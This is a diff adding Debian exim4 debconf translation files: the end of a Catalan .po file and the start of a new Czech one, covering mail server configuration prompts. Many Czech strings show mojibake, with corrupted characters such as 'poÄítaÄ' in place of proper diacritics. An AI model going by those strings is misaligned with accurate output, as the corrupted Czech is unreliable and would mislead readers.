+msgstr ""
+"Si es deixa aquest valor en blanc, aquest correu es desarà en /var/mail/"
+"mail, però això no es recomana."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Teniu en compte que el correu del compte postmaster s'hauria de llegir des "
+"del sistema on es direcciona, més que no pas redireccionar-lo a fora. És per "
+"això que com a mínim un usuari no hauria de redireccionar el correu fora de "
+"l'ordinador. Es pot afegir un prefix «real-» per a forçar el lliurament "
+"local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Múltiples noms d'usuari s'han d'escriure separats per espais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Adreça IP on es vincula les connexions d'entrada de l'SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Introduïu una llista, separada per punts i coma, d'adreces IP. El demoni de "
+"l'Exim escoltarà a totes les adreces IP llistades ací."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"El camp en blanc farà que l'Exim es vincule al port SMTP de totes les "
+"interfícies de xarxa disponibles."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Si aquest ordinador només rep correu directament de serveis locals (i no des "
+"d'altres servidors), es suggereix prohibir les connexions externes a l'Exim "
+"local. Aquests serveis inclouen programes de correu (MUA) que parlen només "
+"amb localhost, o fetchmail. Si s'estableix 127.0.0.1 aquí, les connexions "
+"externes seran impossibles, perquè s'inhabilitarà l'escolta en interfícies "
+"de xarxa públiques."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr ""
+"Voleu mantenir el nombre mínim de consultes de DNS possibles (marcatge sota "
+"demanda)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"En el seu mode normal d'execució, l'Exim realitza consultes de DNS a "
+"l'arrencada i quan rep o envia missatges. Això és qüestions de registre i "
+"permet mantenir un nombre petit de valors escrits al fitxer de configuració."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Si aquest ordinador no té accés permanent a un servei complet de resolució "
+"DNS (com ara, si l'accés a Internet és una línia que utilitza marcatge per "
+"demanda) això pot tenir conseqüències no desitjades. Per exemple, iniciar "
+"l'Exim o executar la cua (fins i tot amb cap missatge esperant) pot activar "
+"un marcatge amb un cert cost."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Aquesta opció s'hauria de seleccionar si el sistema està utilitzant marcació "
+"per demanda. Si sempre té accés a Internet, s'hauria de inhabilitar."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuració del servidor de correu"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Voleu dividir la configuració en fitxers petits?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Els paquets d'exim4 de Debian poden utilitzar la «configuració integrada», "
+"un únic fitxer monolític (/etc/exim4/exim4.conf.template) o la «configuració "
+"partida», amb la qual la configuració de l'Exim es construeix a partir d'uns "
+"50 fitxers petits a /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"La configuració integrada és millor per a modificacions grans i és en "
+"general més estable, mentre que la configuració partida ofereix una manera "
+"còmoda de fer canvis petits però és més fràgil i pot trencar-se si es "
+"modifica sense cura."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"S'hi pot trobar una discussió més detallada sobre les configuracions "
+"partides i integrades als fitxers README específics de Debian a /usr/share/"
+"doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Voleu amagar el nom de correu local al correu de sortida?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Les capçaleres del correu de sortida es poden reescriure per a fer que "
+"semblen haver sigut generades en un sistema diferent. Si s'habilita aquesta "
+"opció, es reescriuen «${mailname}», «localhost» i «${dc_other_hostnames}» en "
+"els From, Reply-To, Sender i Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "format mbox a /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "format Maildir al directori personal"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Mètode de lliurament per al correu local:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim pot emmagatzemar el correu lliurat localment en formats diferents. El "
+"més comuns són mbox i Maildir. mbox utilitza un sol fitxer per a tota la "
+"carpeta de correu emmagatzemada a /var/mail/. Amb el format Maildir, cada "
+"missatge s'emmagatzema a un fitxer separat en ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Teniu en compte que la majoria d'eines de correu a Debian assumeixen que el "
+"mètode de lliurament de correu local és mbox a la seua configuració per "
+"defecte."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Triar aquesta opció mourà aquests missatges al directori de gestió de "
+#~ "cues d'exim4 (/var/spool/exim4/input/) on els gestionarà l'exim4."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr ""
+#~ "Deixar aquesta llista en blanc farà que l'Exim no faça lliuraments locals."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Recordeu que només funciona en un sentit, l'exim4 pot gestionar la gestió "
+#~ "de cues de l'exim(v3) però no a la inversa."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Moveu els correus únicament si no us plantegeu tornar a l'exim(v3), en "
+#~ "cas contrari no ho feu ara, però si manualment un cop convertida la "
+#~ "configuració."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Aquests dominis són dominis dels quals esteu preparat per acceptar correu "
+#~ "des de qualsevol punt d'internet. No hi feu referència als dominis locals."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Ja que heu triat amagar el nom del correu local en el correu de sortida, "
+#~ "heu d'especificar el nom de domini a utilitzar pel correu dels usuaris "
+#~ "locals; normalment és l'ordinador que utilitzeu per rebre correu."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "D'on llegiran el correu els usuaris?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Ordinador que gestiona el correu de sortida d'aquest (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Introduïu el nom de l'ordinador principal a on s'envia el correu de "
+#~ "sortida."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\", \"root\", and other system accounts is "
+#~ "usually redirected to the user account of the actual system "
+#~ "administrator. If you leave this value empty, such mail will be saved in /"
+#~ "var/mail/mail, which is not recommended. Note that postmaster's mail "
+#~ "should be read on the system to which it is directed, rather than being "
+#~ "forwarded elsewhere, so (at least one of) the users you choose should not "
+#~ "redirect their mail off this machine. Use a \"real-\" prefix to force "
+#~ "local delivery."
+#~ msgstr ""
+#~ "És habitual redirigir el correu per al «postmaster», «root» i altres "
+#~ "comptes del sistema al compte d'usuari real de l'administrador del "
+#~ "sistema. Si deixeu aquest valor buit, aquest correu es desarà en /var/"
+#~ "mail/mail, cosa no recomanada. Teniu en compte que el correu del "
+#~ "postmaster s'hauria de llegir en el sistema al qual es dirigeix, en "
+#~ "comptes de reenviar-lo a qualsevol altre lloc, així (al menys un) els "
+#~ "usuaris que trieu no haurien de redireccionar el seu correu fora d'aquest "
+#~ "servidor. Utilitzeu un prefix «real-» per a forçar l'enviament local."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Habiliteu l'opció si utilitzeu marcatge sota demanda; en cas contrari "
+#~ "inhabiliteu-la."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Si no n'esteu segur no hauríeu de dividir la configuració."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "conversió manual de la configuració personalitzada de l'Exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Voleu configurar l'Exim4 manualment?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Heu indicat que disposeu d'una configuració personalitzada de l'Exim 3. "
+#~ "Per convertir-la a l'Exim 4 podeu utilitzar l'eina exim_convert4r4(8) "
+#~ "després de la instal·lació. Vegeu el fitxer /usr/share/doc/exim4-base/"
+#~ "examples/example.conf.gz i /usr/share/doc/exim4-base/README.Debian.gz"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Fins que el sistema de correu no estigui configurat no funcionarà "
+#~ "correctament i no es podrà utilitzar."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "El \"nom del correu\" és la porció del nom de l'ordinador principal de "
+#~ "l'adreça que es mostrarà als missatges dels correus i notícies (seguint "
+#~ "el nom d'usuari i el símbol @) si no s'amaga amb reescriptura."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Introduïu les xares d'ordinadors locals dels quals sou repetidor de "
+#~ "correu.<"
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Això hauria d'incloure una llista de tots els ordinadors que ens "
+#~ "utilitzaran com a «smart host»."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Utilitzeu dos punts per les adreces d'IPv6 (ex.5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Introduïu una llista d'adreces IP on es vincula separades per dos punts. "
+#~ "En les adreces d'IPv6 haureu de posar dos punts dobles (ex. "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "S'està configurant l'Exim v4 (exim4-config)"
+
+#~ msgid ""
+#~ "If you are configuring this system as 'satellite' this name won't appear "
+#~ "on From: lines of mail, as rewriting is used."
+#~ msgstr ""
+#~ "Si configureu el sistema com a 'satellite', el nom no apareixerà a les "
+#~ "línies From: del correu perquè s'utilitza la reescriptura."
+
+#~ msgid ""
+#~ "Obviously, any machines that use us as a smarthost have to be excluded "
+#~ "from the relaying controls, as using us to relay mail for them is the "
+#~ "whole point."
+#~ msgstr ""
+#~ "Qualsevol ordinador que utilitzi aquest com a smarthost s'ha d'excloure "
+#~ "dels controls de repetició, ja que la repetició del seu correu és la "
+#~ "única cosa important."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected "
+#~ "to one or more user accounts of the actual system administrators. The "
+#~ "default is to set things up so that mail for \"postmaster\" and for "
+#~ "various system accounts is redirected to \"root\", and mail for \"root\" "
+#~ "is redirected to a real user. This can be changed by editing /etc/"
+#~ "aliases."
+#~ msgstr ""
+#~ "Normalment el correu dels comptes \"postmaster\" i \"root\" es "
+#~ "redirecciona a un o més comptes dels administradors del sistema. La "
+#~ "configuració predeterminada és que redireccioni el compte \"postmaster\" "
+#~ "i d'altres a \"root\", i el correu de \"root\" es redireccioni a l'usuari "
+#~ "real. Es pot modificar editant el fitxer /etc/aliases."
+
+#~ msgid ""
+#~ "System administrator mail goes to which user accounts? Enter one or more "
+#~ "usernames separated by spaces or commas. Enter \"none\" if you do not "
+#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot "
+#~ "run deliveries as root and will save the mail to /var/mail/mail Also, "
+#~ "note that usernames should be lowercase!"
+#~ msgstr ""
+#~ "A quin compte d'usuari s'ha de redireccionar el correu de l'administrador "
+#~ "del sistema? Introduïu un o més noms d'usuari separats per espais o "
+#~ "comes. Introduïu \"non\" si no voleu redireccionar el correu. - No és "
+#~ "recomanable. L'exim no pot repartir els missatges com a usuari i els "
+#~ "desarà a /var/mail/mail. Recordeu que els noms d'usuari han d'estar en "
+#~ "minúscules."
diff --git a/debian/po/cs.po b/debian/po/cs.po
new file mode 100644
index 0000000..5cb8a6a
--- /dev/null
+++ b/debian/po/cs.po
@@ -0,0 +1,685 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-23 12:12+0200\n"
+"Last-Translator: Miroslav Kure <kurem@debian.cz>\n"
+"Language-Team: Czech <debian-l10n-czech@lists.debian.org>\n"
+"Language: cs\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Odstranit nedoruÄenou poÅ¡tu z adresáře spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ve spool adresáři Eximu /var/spool/exim4/input se nachází dosud nedoruÄená "
+"poÅ¡ta. OdstranÄ›ním Eximu způsobíte, že zůstane nedoruÄená do doby, než Exim "
+"znovu nainstalujete."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Odmítnete-li tuto možnost, bude adresář s nedoruÄenou poÅ¡tou zachován, což "
+"vám umožní doruÄit zprávy pozdÄ›ji, až se rozhodnete Exim znovu nainstalovat."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Místo tohoto balíku použijte raději exim4-config"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 má svou konfiguraci oddělenou do samostatného balíku exim4-config. "
+"Chcete-li změnit nastavení Eximu4, použijte příkaz 'dpkg-reconfigure exim4-"
+"config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internetový poÄítaÄ; poÅ¡ta je pÅ™ijímána a doruÄována přímo SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "zasílání poÅ¡ty pÅ™es chytrý poÄítaÄ; příjem pÅ™es SMTP nebo fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "zasílání poÅ¡ty pÅ™es chytrý poÄítaÄ; žádná lokální poÅ¡ta"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "pouze lokální poÅ¡ta; poÄítaÄ není na síti"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "nyní nic nenastavovat"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Základní model poštovního nastavení:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Vyberte typ nastavení poštovní serveru, který nejlépe odpovídá vašim "
+"požadavkům."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"PoÄítaÄe s dynamickými IP adresami (vÄetnÄ› systémů na vytáÄeném pÅ™ipojení) "
+"by měly být nastaveny tak, že veškerou odchozí poštu posílají jinému, "
+"„chytrému“, poÄítaÄi (smarthost), který se postará o její doruÄení. Mnoho "
+"příjemců se totiž chrání před spamem mimo jiné tím, že blokují příchozí "
+"poštu z dynamických IP adres."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Systém s dynamickou IP adresou buÄ může pÅ™ijímat svou vlastní poÅ¡tu, nebo je "
+"možné lokální doruÄení úplnÄ› zakázat (s výjimkou poÅ¡ty pro uživatele root a "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Opravdu nechcete nastavit poštovní systém?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Dokud poštovní systém nenastavíte, bude porouchaný a nemůžete jej využívat. "
+"Nastavení samozÅ™ejmÄ› můžete provést pozdÄ›ji ruÄnÄ› nebo příkazem „dpkg-"
+"reconfigure exim4-config“ (obojí pod uživatelem root)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "PoÅ¡tovní jméno poÄítaÄe:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"„Poštovní jméno“ je jméno domény, které se připojí za poštovní adresy bez "
+"doménového jména. Adresa se tak stane plně kvalifikovaná."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Toto jméno budou využívat i jiné programy. MÄ›lo by to být jednoznaÄné plnÄ› "
+"kvalifikované doménové jméno (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Například pokud má poštovní adresa tvar uzivatel@ukazkova.domena, tak je "
+"správnou hodnotou ukazkova.domena."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Pokud zapnete přepisování, toto jméno se neobjeví v odchozí poště na řádcích "
+"From:."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Další místa urÄení, pro která akceptujeme poÅ¡tu:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Zadejte stÅ™edníky oddÄ›lený seznam domén, pro které skonÄí poÅ¡ta na tomto "
+"poÄítaÄi. Tyto domény se běžnÄ› nazývají „lokální domény“. K seznamu se vždy "
+"pÅ™idá vlastní jméno poÄítaÄe (${fqdn}) a 'localhost'. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Standardně se se všemi doménami zachází stejně. Například pokud a.priklad i "
+"b.priklad jsou lokální domény, bude pošta pro ucet@a.priklad i ucet@b."
+"priklad doruÄena do stejné cílové destinace. Jestliže se mají různá doménová "
+"jména chovat různÄ›, je nutné upravit konfiguraÄní soubor ruÄnÄ›."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domény, pro které předávat poštu (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Zadejte prosím středníky oddělený seznam domén, pro které bude tento systém "
+"předávat poštu (relay), například pokud systém slouží jako jako záložní MX, "
+"nebo poštovní brána. To znamená, že pro uvedené domény bude tento systém "
+"pÅ™ijímat poÅ¡tu odkudkoliv z Internetu a bude ji doruÄovat podle pravidel pro "
+"místní doruÄování poÅ¡ty."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Neuvádějte zde lokální domény. Můžete použít i zástupné znaky."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "PoÄítaÄe, pro které pÅ™edávat poÅ¡tu (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Zadejte prosím středníky oddělený seznam rozsahů IP adres, pro které bude "
+"tento systém předávat poštu (relay) a vlastně jim bude plnit úlohu chytrého "
+"poÄítaÄe (smarthost)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Měli byste použít obvyklý formát adresa/prefix (např. 194.222.242.0/24 nebo "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Jestliže tento systém nemá sloužit jako smarthost, ponechte seznam prázdný."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Viditelné doménové jméno pro lokální uživatele:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Protože je zapnuto skrývání lokálního jména v odchozí poště, musíte zadat "
+"doménové jméno, které má systém použít jako doménovou Äást pro adresu "
+"odesilatele. (Vztahuje se na poštu posílanou od lokálních uživatelů.)"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Jméno nebo IP adresa chytrého poÄítaÄe (smarthost):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Zadejte prosím jméno nebo IP adresu poštovního serveru, který bude tento "
+"systém využívat pro odesílání odchozí pošty (smarthost). Pokud umí zvolený "
+"chytrý poÄítaÄ pÅ™ijímat poÅ¡tu pouze na jiném portu než TCP/25, pÅ™ipojte "
+"nakonec dvÄ› dvojteÄky a Äíslo portu (například smarthost.priklad::587 nebo "
+"192.168.254.254::2525). U adres IPv6 musíte dvojteÄky zdvojit."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
